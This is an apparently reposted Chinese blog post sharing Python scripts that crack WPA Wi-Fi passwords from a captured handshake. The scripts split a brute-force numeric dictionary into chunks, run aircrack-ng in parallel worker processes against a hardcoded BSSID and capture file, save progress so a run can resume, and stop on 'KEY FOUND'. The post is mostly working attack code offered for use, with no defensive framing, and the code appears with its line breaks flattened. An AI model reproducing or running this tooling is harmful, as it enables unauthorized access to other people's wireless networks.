wifi握手包自动跑包
生活随笔
收集整理的這篇文章主要介紹了
wifi握手包自动跑包
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
眾所周知握手包跑包的時候密碼字典的生成是個非常頭疼的問題,因為10位數的純數字密碼字典就已經很大了,這里我使用的窮舉法,根據所給出的字符串中的字符串,窮舉出所有密碼組合。
為此使用python來進行自動化跑包,而用電腦跑包又非常的浪費資源,跑包的時候完全沒法使用電腦了,所以準備在樹莓派上進行跑包。可是無論PC還是樹莓派跑包最怕的事情就是死機或者停電,so,程序的要求如下:
首先,能夠把將要生成的字典分解成小字典來生成,當每個小字典生成結束并跑完的時候,再生成另一個小字典來跑包,如此反復進行;
其次,為了防止樹莓派斷電,或者突然想自己的電腦,需要程序能夠保存已經完成的工作,當下次再啟動程序的時候繼續上次沒有完成的任務;
最后,考慮到多核心cpu的利用,需要生成子進程來跑包,這樣程序占用的資源就足夠多了,才能充分利用設備來跑包。
函數分布如下:
父進程:
子進程,只有一個函數和調用,大致流程如下:
好了,父子進程的關系和功能大致都已經敘述了,下面就是開源的內容了:
需要注意
這個代碼需要安裝aircrack-ng
運行的參數需要在hashcat_attack_tasks_malloc.py的最后修改
跑包的命令需要在hashcat_attack_task.py中修改,代碼中有注釋
第二次運行程序時需要輸入時候繼續
資源文件我已經上傳,想支持我的可以去下載一下,現在改成免費的,之前不知道為啥csdn給我改成9分了,氣死我了!!
//download.csdn.net/download/wachm/12118290
還有,hashcat比這個跑的快,而且可以利用GPU加速,但是不像我這個可以中斷,保存任務的進度然后下次繼續進行,有高性能設備的小可愛們可以試試這個!
好了,找一找,改一改吧!
hashcat_attack_tasks_malloc.py import subprocess import time import hashcat_attack_name as han# 進制轉換 # 進制字符串, 待轉換至10進制的字符串 # 返回,10進制數字 def base_change_special_normal(_rule_str, _special):_rule_str = "".join(_rule_str)_special = "".join(_special)t_base = _rule_str.__str__().__len__()t_total = 0t_length = _special.__len__()t_s = _special.__getitem__(t_length - 1)t_total = t_total + _rule_str.index(t_s)t_unit_base = t_basefor i in range(t_length-2, -1, -1):t_total = t_total + t_unit_base * _rule_str.index(_special.__getitem__(i))t_unit_base = t_unit_base*t_basereturn t_total# 進制轉換 # 進制字符串,10進制數字, 填充長度 # 返回,給定進制字符串形式的進制 def base_change_normal_special(_rule_str, _decimal, _fill_length):# 進制基數t_base = _rule_str.__str__().__len__().__int__()t_list = []t_decimal = _decimal.__int__()while t_decimal > 0:t_mod = t_decimal % t_baset_decimal = t_decimal // t_baset_list.append(_rule_str.__getitem__(t_mod))if _fill_length > 0 and t_list.__len__() < _fill_length:for i in range(t_list.__len__(), _fill_length):t_list.append(_rule_str.__getitem__(0))t_list.reverse()return "".join(t_list)# dict_string表示所有組合的字符源,task_mount表示分割的任務數,task_length表示生成的長度 # task_starts指定開始的字符串,task_stops指定結束的字符串 # 返回一個列表,以[開始字符串,結束字符串,開始字符串,結束字符串,。。。]的形式返回 def str_task_split(_dict_str, _task_mount, _task_length, _task_starts, _task_stops):_task_mount = int(_task_mount)_task_length = int(_task_length)if str(_task_starts).__len__() != str(_task_stops).__len__():print("str_task_split 參數錯誤,4,5長度不等")return 0if _task_length != str(_task_starts).__len__():print("str_task_split 參數錯誤,長度不匹配")return 0# 進制轉換t_starts_d = base_change_special_normal(_dict_str, _task_starts)t_stops_d = base_change_special_normal(_dict_str, _task_stops)# 剩余需要生成的總數t_total = t_stops_d-t_starts_d# 每個任務的數量t_task_average = t_total // _task_mount# 任務余數,這個加在最后一個任務里t_task_mod = t_total % _task_mountt_return_list = []for i in range(0, _task_mount - 1):t_return_list.append(base_change_normal_special(_dict_str, t_starts_d, _task_length))print(t_starts_d, end="-->")t_stops_d = t_starts_d + t_task_averageprint(t_stops_d)t_return_list.append(base_change_normal_special(_dict_str, t_stops_d, _task_length))t_starts_d = t_stops_d+1t_return_list.append(base_change_normal_special(_dict_str, t_starts_d, _task_length))print(t_stops_d, end="-->")t_stops_dt_stops_d = t_stops_d + t_task_average + t_task_modt_return_list.append(base_change_normal_special(_dict_str, t_stops_d, _task_length))print(t_stops_d)return t_return_list# 檢測是否子進程是否找到密碼并輸出文件,文件內容是否包含密碼 # 文件名前綴,進程數量,文件擴展名 # 返回True表示找到密碼 def hashcat_attack_sub_has_passwd(_out_pre, _mount, _out_type):_mount = int(_mount)_has_passwd = Falsefor i in range(0,_mount):_file_name = _out_pre+str(i)+_out_typetry:f = open(_file_name, 'r')if f.readline().find('KEY FOUND') >= 0:_has_passwd = Truef.close()breakexcept IOError:passreturn _has_passwd# 得到分配列表 # 分配進程 # 讀取子進程進度,記錄子進程已完成的密碼,顯示子進程已完成的密碼 def hashcat_attack_tasks_malloc(_dict_str, _task_mount, _task_length, _task_starts, _task_stops):_task_mount = int(_task_mount)_task_length = int(_task_length)# 檢測是否存在上一次的任務,并且是否繼續上一次的任務print(time.asctime(time.localtime(time.time())))_has_load_task = Falsetry:continue_file = open(han.continue_file_name, 'r')__task_mount = continue_file.readline().strip()_is_finish = continue_file.readline().strip()continue_file.close()if _is_finish == han.continue_flag:ask = input('是否繼續未完成的任務(Y/n):')print(ask)if ask.lower() == 'yes' or ask.lower() == 'y' or ask == '\n':task_str_list = list()for i in range(0, _task_mount):_task_load_file = open(han.split_load_file_pre+str(i)+han.split_load_file_type)task_str_list.append(_task_load_file.readline().strip())_has_load_task = True_task_mount = int(__task_mount)except IOError:pass# 分配列表if not _has_load_task:task_str_list = str_task_split(_dict_str, _task_mount, _task_length, _task_starts, _task_stops)task_list = list()# 創建任務列表for i in range(0, _task_mount):task_argument_list = ['python', 'hashcat_attack_task.py', _dict_str, task_str_list[i * 2], task_str_list[i * 2 + 1], str(i)]task_list.append(subprocess.Popen(task_argument_list))# 創建記錄文件continue_file = open(han.continue_file_name, 'w')continue_file.write(str(_task_mount)+'\n')continue_file.write(han.continue_flag)continue_file.close()while True:# 60秒查詢一次子進程的狀態,當有進程得到密碼時,停止所有的進程time.sleep(60)# 用于判斷所有進程是否結束task_all_over = 0# 檢測任務是否結束,檢測子進程是否輸出密碼文件for i in range(0, _task_mount):if task_list[i].poll().__str__().strip() == "None":# 檢測是否輸出密碼文件的函數if hashcat_attack_sub_has_passwd(han.output_pre, _task_mount, han.output_type):# 結束所有進程task_all_over = _task_mount# 寫入任務完成continue_file = open(han.continue_file_name, 'w')continue_file.write(str(_task_mount) + '\n')continue_file.write(han.continue_flag)continue_file.close()print('找到密碼請查看目錄下文件')print(time.asctime(time.localtime(time.time())))else:task_all_over = task_all_over+1if task_all_over == _task_mount:for i in range(0,_task_mount):task_list[i].terminate()breakprint('當前字符集所有組合已經全部嘗試')dict_str = "1234567890" task_length = 10 task_mount = 4 task_starts = "1234491111" task_stops = "1234560000" hashcat_attack_tasks_malloc(dict_str, task_mount, task_length, task_starts, task_stops) hashcat_attack_task.py # coding=utf-8 import sys import subprocess import shlex import hashcat_attack_name as han# number是當前進程被分配的字符串標記,用來防止寫文件的時候重名 # 參數:字典的源字符集,開始字符串,停止字符串,文件標記 def hashcat_attack_task(_dict_string, _starts, _stops, _number):# limit限制字典條數limit = 10000000dict_file_name = han.dict_pre + _number + han.dict_typedict_file = open(dict_file_name, 'w')_dict_string = str(_dict_string)_starts = str(_starts)_stops = str(_stops)dict_string_length = _dict_string.__len__()tab_key = list()tab_count = list()tab_length = _starts.__len__()# initfor i in range(0, tab_length):tab_key.append(_dict_string.__getitem__(i))tab_count.append(0)# set from startsfor i in range(0, tab_length):tab_count.__setitem__(i, _dict_string.index(_starts.__getitem__(i)))tab_key.__setitem__(i, _dict_string.__getitem__(tab_count.__getitem__(i)))print("starts:" + "".join(tab_key))print(tab_key.__len__())print(tab_count.__len__())gcount = 0_found_key = Falsekey = "none"while "".join(tab_key) != _stops :# global countergcount = gcount + 1# last key ++cur = tab_count.__getitem__(tab_length - 1)tab_count.__setitem__(tab_length - 1, cur + 1)# check length-1 to 1, the 1st can't be checked in herefor i in range(tab_length - 1, 0, -1):if tab_count.__getitem__(i) == dict_string_length:pre = tab_count.__getitem__(i - 1)tab_count.__setitem__(i - 1, pre + 1)tab_count.__setitem__(i, 0)# check the 1stif tab_count.__getitem__(0) == dict_string_length:break# reload tab_keyfor i in range(0, tab_length):tab_key.__setitem__(i, _dict_string.__getitem__(tab_count.__getitem__(i)))# writekey = "".join(tab_key)dict_file.write(key + "\n")# 中斷,寫字典,跑包if gcount >= limit or key == _stops:dict_file.close()# 使用aircrack跑包命令在此,請自行修改,可以刪去-b參數argument = 'aircrack-ng -a2 -b 88:10:8f:36:6c:6c -w ./' + dict_file_name + ' ./-05.cap'argument = shlex.split(argument)result = subprocess.check_output(argument).decode(encoding="utf-8").split('\n')# 記錄當前任務_task_save = open(han.split_load_file_pre + _number + han.split_load_file_type, 'w')_task_save.write(key+'\n')_task_save.write(_stops)_task_save.close()# 如果找到密碼則寫入文件for i in result:if i.find('KEY FOUND') >= 0:_output = open(han.output_pre + _number + han.output_type, 'w')_output.write(i)_output.close()_found_key = Truebreakdict_file = open(dict_file_name, 'w')if _found_key:breakdict_file.close()# hashcat_attack_task('1234567890', '1234564444', '1234567890', str(5)) hashcat_attack_task(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]) hashcat_attack_name.py output_pre = 'hashcat_attack_passwd_' output_type = '.txt'dict_pre = 'hashcat_attack_dictionary_' dict_type = '.txt'continue_file_name = 'hashcat_attack_continue.txt' continue_flag = 'unfinished!'split_load_file_pre = 'hashcat_attack_task_' split_load_file_type = '.txt'結束!
總結
以上是生活随笔為你收集整理的wifi握手包自动跑包的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 项目投资计划书
- 下一篇: “贵人”相助,亚马逊云科技APN成员乘风